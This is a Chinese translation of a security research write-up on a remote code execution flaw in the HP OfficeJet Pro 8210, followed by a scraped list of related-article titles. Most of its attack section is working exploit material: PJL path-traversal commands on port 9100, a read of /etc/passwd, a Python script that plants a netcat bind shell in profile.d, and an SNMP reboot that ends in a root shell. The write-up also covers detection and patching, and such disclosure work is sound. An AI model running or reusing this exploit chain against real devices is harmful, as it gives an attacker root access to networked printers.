本文讲的是惠普打印机爆远程命令执行漏洞,黑客可任意操纵你的打印机,在各类企业、单位甚至是学校,无论你身处在哪里,打印机都会作为必需品存在。也许你体验到的是其便捷的一面,但你是否了解其作为联网设备的危害在哪里呢?仔细回想一下,你上一次更新它的固件是什么时候?你是否了解过打印机所存在的那些漏洞?

出于对打印机安全性的好奇,我们购买了几台打印机(HP OfficeJet Pro 8210)。事实上,在买的时候我们一直祈祷其那些易受攻击的固件仍然存在,否则你肯定无法想象你需要多少时间来进行回溯。幸运的是,当我们买的两台打印机到的时候我们发现其安装着那些易受攻击的组件,并且更新也被禁用了。OfficeJet Pro 8210的固件无法直接下载。但是,使用打印机Web界面上的“自动安装更新”和“ 立即检查”功能,我们可以将打印机更新到最新固件。

于是我们就有了一个打过补丁和一个未打补丁的打印机,接下来就是我们挖掘远程代码执行漏洞的时间了。

我们从Nmap扫描开始,这样可以查找到打印机打开的端口:

albinolobster@ubuntu:~$ nmap -A 192.168.1.159
Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE    VERSION
80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp   open  printer
631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp  open  jetdirect?

这里看起来没什么问题, HTTP服务器的监听端口80,443以及8080;行式打印机守护进程(LPD)在端口515上;Internet打印协议(IPP)在端口631上;Nmap将端口9100标记为“jetdirect?”,这通常意味着“原始打印”或端口9100打印。

HP将9100端口打印为“HP专有”,但众所周知的是,这个端口还支持原始打印、PCL、PostScript和PJL。以下是一个简单的示例——在端口9100上使用PJL来获取打印机的设备信息:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"

JensMüller最近写了一篇题为“ 网络打印机:激光打印机和多功能设备中的安全问题调查”的文章,详细介绍了打印机的常见漏洞。作者提出的常见漏洞之一就是通过PJL路径遍历。例如,考虑以下PJL命令列出打印机上的目录:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR

可以看到列出的目录名称是 0:/ 并且打印机响应两个子目录: TMP / 和 csr_misc /。如果您尝试使用路径移动几个目录,会发生什么0:/../../?

albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR

接下来可以看到的是,打印机会响应一个新的目录列表。看起来我们可能在这里会有一个攻击传染媒介。而在这之后,在打补丁打印机上执行相同的PJL命令会生成一个FILEERROR。我们知道,惠普其实已经修复了这两个固件版本之间的问题。但毫无疑问这是个好机会,因为这有可能导致安全公告上所说的远程代码执行。

albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0

然而事实上,这种遍历似乎不是很有用。文件结构看起来也不像我熟悉的任何root文件系统。也许还有另一个目录遍历向量?

albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020

这里,我尝试了 ../../ 但是却生成了一个 FILEERROR。然而,../../bin 列出了传统Linux中找到的文件 /bin目录。看来这下子我们可以遍历Linux文件系统了。

但是如何将这些目录遍历转换为远程代码执行呢?首先,我们需要了解其他一些PJL命令:FSQUERY, FSUPLOAD,和 FSDOWNLOAD。这三个命令将让我们通过r / w即可访问打印机的文件系统。例如,我可以利用FSQUERY 和 FSUPLOAD 用目录遍历来检索内容 / etc / passwd文件:

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh_ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

谁会真的去阅读这些文件呢?所以我想去写入他们。FSDOWNLOAD 需要发送 ESC 字符,这里不能使用Netcat,于是我写了一个Python脚本,试图写入 ../../tmp/writing_test:

import socket
import sys
test = ('test')
if len(sys.argv) != 3:print 'nUsage:upload.py [ip] [port]n'sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"rn'
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()

不幸的是,这个脚本无法写入该文件。看来,PJL的过程解释在Linux文件系统上没有写入权限:

albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSQUERY NAME="../../tmp/writing_test"
@PJL FSQUERY NAME="../../tmp/writing_test"
FILEERROR=0

这是我们试图获得远程执行代码的一大打击。无法访问Linux文件系统,那么替换二进制文件或获取执行的Bash脚本的可能性大大降低。在这一点上,我们唯一的希望就是那个0:/ 文件系统是可写的,写入的文件可以以某种方式执行。

接下来我们必须来进行一次无聊的细节梳理在 0:/文件系统中,我最终注意到其与Linux文件系统有一些重叠。尤其是,0:/../../rw/var/etc/profile.d/一下子就抓住了我的眼球,因为,传统的profile.d目录包含在启动时执行的脚本。此外,目录似乎包含相同的数据:

albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR

为了测试我是否可以通过0:/ filesystem写入profile.d ,我更新了 FSDOWNLOAD Python脚本来写一个文件0:/../../rw/var/etc/profile.d/writing_test:

import socket
import sys
test = ('test')
if len(sys.argv) != 3:print 'nUsage:upload.py [ip] [port]n'sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"rn
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()

如下所示,Python脚本现在可以工作了!通过遍历Linux文件系统我么可以看到新的文件:

albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4

现在我们已经可以对可能包含启动脚本的位置有写入权限了。显然已经非常接近远程代码执行了。现在,我们只需要编写一个脚本,并找出如何重新启动打印机,以便脚本执行就可以了。

我们的启动脚本最明显的选择是给我们shell访问。由于打印机有netcat已安装,我选择去在端口1270上创建一个绑定shell的脚本:

if [ ! -p /tmp/pwned ]; thenmkfifo /tmp/pwnedcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi

随之我们要做的就是将重点转移到远程重新启动打印机。一种方法是在Web界面中使用Power Cycle功能(在“ 工具”菜单下)。另一种方法是使用SNMP 打印机 MIB来重新启动设备。

albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4

在下面的脚本中,我已经将启动脚本写入了 的profile.d 目录和SNMP重新启动:

##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##
import socket
import sys
from easysnmp import snmp_set
profile_d_script = ('if [ ! -p /tmp/pwned ]; thenn''tmkfifo /tmp/pwnedn''tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n'fin')
if len(sys.argv) != 3:print 'nUsage:upload.py [ip] [port]n'sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
dir_query += profile_d_script
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
sock1.sendall(dir_query)
response = ''
while True:data = sock1.recv(1)if 'n' == data: breakresponse += data
print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'

运行该脚本,大约三十秒后,通过端口1270就会有root shell了。

albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270
whoami
root

如何解决这一问题?

幸运的是,对于每个人来说,一旦你了解了这次的攻击,那么这个小漏洞就很容易就会被发现。我们在五月下旬就发布了Nessus插件100461来检测此漏洞。此外,还进行了更改,以便Nessus在服务发现期间不再导致9100端口打印。希望这将鼓励更多客户启用打印机扫描。

总而言之,不要忽视威胁模型中的那些打印机。现在的打印机俨然已经是一台电脑了,所以我们要做的就是像一台电脑一样对待它。扫描它、更新它、监视它,毕竟谁也不知道其存在着什么样潜在的威胁不是吗?

原文发布时间为:2017年6月20日
本文作者:Change
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

惠普打印机爆远程命令执行漏洞,黑客可任意操纵你的打印机相关推荐

  1. Fastjson远程命令执行漏洞总结

    1.FastJson 简介 fastjson.jar包原始下载地址:https://github.com/alibaba/fastjson fastjson用于将Java Bean序列化为JSON字符 ...

  2. webmin远程命令执行漏洞(cve-2019-15107)深入分析

    漏洞描述 近日Webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件. Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的 ...

  3. 【注意】关于Redis存在远程命令执行漏洞的安全公告

    点击蓝色"程序猿DD"关注我 回复"资源"获取独家整理的学习资料! 来源:CNVD漏洞平台 安全公告编号:CNTA-2019-0024 2019年7月10日,国 ...

  4. rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警

    报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...

  5. jenkins java反序列化_Jenkins “Java 反序列化”过程远程命令执行漏洞

    ###漏洞原理 反序列化是指特定语言中将传递的对象序列化数据重新恢复为实例对象的过程,而在这个过程中会执行一系列的字节流解析和对象实例化操作用于恢复之前序列化时的对象.在原博文所提到的那些 Java ...

  6. ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

    ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 漏洞概述: ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架.借鉴Struts框架的Action对象,同 ...

  7. 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞

    [漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...

  8. 又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

    本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文 ...

  9. 详述WebLogic反序列化远程命令执行漏洞的处理过程,云和恩墨技术通讯精选

    各位亲爱的用户/读者朋友们: 为了及时共享行业案例,通告共性问题,达成知识共享和提前预防,我们整理和编辑了<云和恩墨技术通讯>(5月刊),通过对过去一段时间的知识回顾和故障归纳,以期提供有 ...

  10. 紧急:Spring框架被爆出存在0day级别远程命令执行漏洞。漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响。该漏洞目前无官方修复补丁

    Spring框架被爆出存在0day级别远程命令执行漏洞.漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响. 漏洞信息和漏洞影响排查方法如下: 漏洞名称 ...

最新文章

  1. 如何在Go中编写多行字符串?
  2. 【采用】干货请收好:终于有人把用户画像的流程、方法讲明白了
  3. android 图片缓存工具类,Android工具类系列-Glide图片缓存与圆角
  4. 研发协同平台持续交付之代理服务实践
  5. Android之XML序列化和解析
  6. Web前端开发——BAT面试题汇总及答案03
  7. fragment怎么获得上下文环境_Flask 源码剖析 (三):Flask 的上下文机制 (上)
  8. mysql语句错误怎么查找_SQL语法错误但是怎么也找不出来,求指导
  9. js中元素属性值的获取
  10. matlab图像处理Lena大作业
  11. 应广单片机及mini-c快速入门
  12. 泰勒公式到欧拉公式的推导
  13. Java生成csv文件设置文本格式
  14. 关于计算机的猜谜游戏,益智猜谜电脑版
  15. python:pprint实例
  16. 刚入职场需要用到的5个顶尖自学网
  17. 为什么女性朋友容易患上拇外翻?
  18. java求幸运数字_Java 第几个幸运数
  19. 计算机毕业设计django基于python的汽车租赁系统
  20. 硬盘零磁道坏的解决办法

热门文章

  1. SCCM通过PXE部署系统蓝屏Recovery
  2. Windows批处理bat文件
  3. 华为防火墙做单臂路由_华为单臂路由配置详解
  4. linux中rm件命令,Linux rm命令详解
  5. 计算机怎么看事件管理,如何打开事件查看器 win7事件查看器打开及使用方法介绍...
  6. Direct3D 11 Devices 之 Using Direct3D 11 feature data to supplement Direct3D feature levels
  7. 300英雄11月服务器维护,300英雄11月7日更新了什么?300英雄11月7日更新内容一览...
  8. 1094: 【基础】填词 【循环】
  9. CorelDRAW X8官方正版序列号如何安装使用?
  10. 热风销售不合格凉鞋、外套遭处罚,服装商家经营需诚信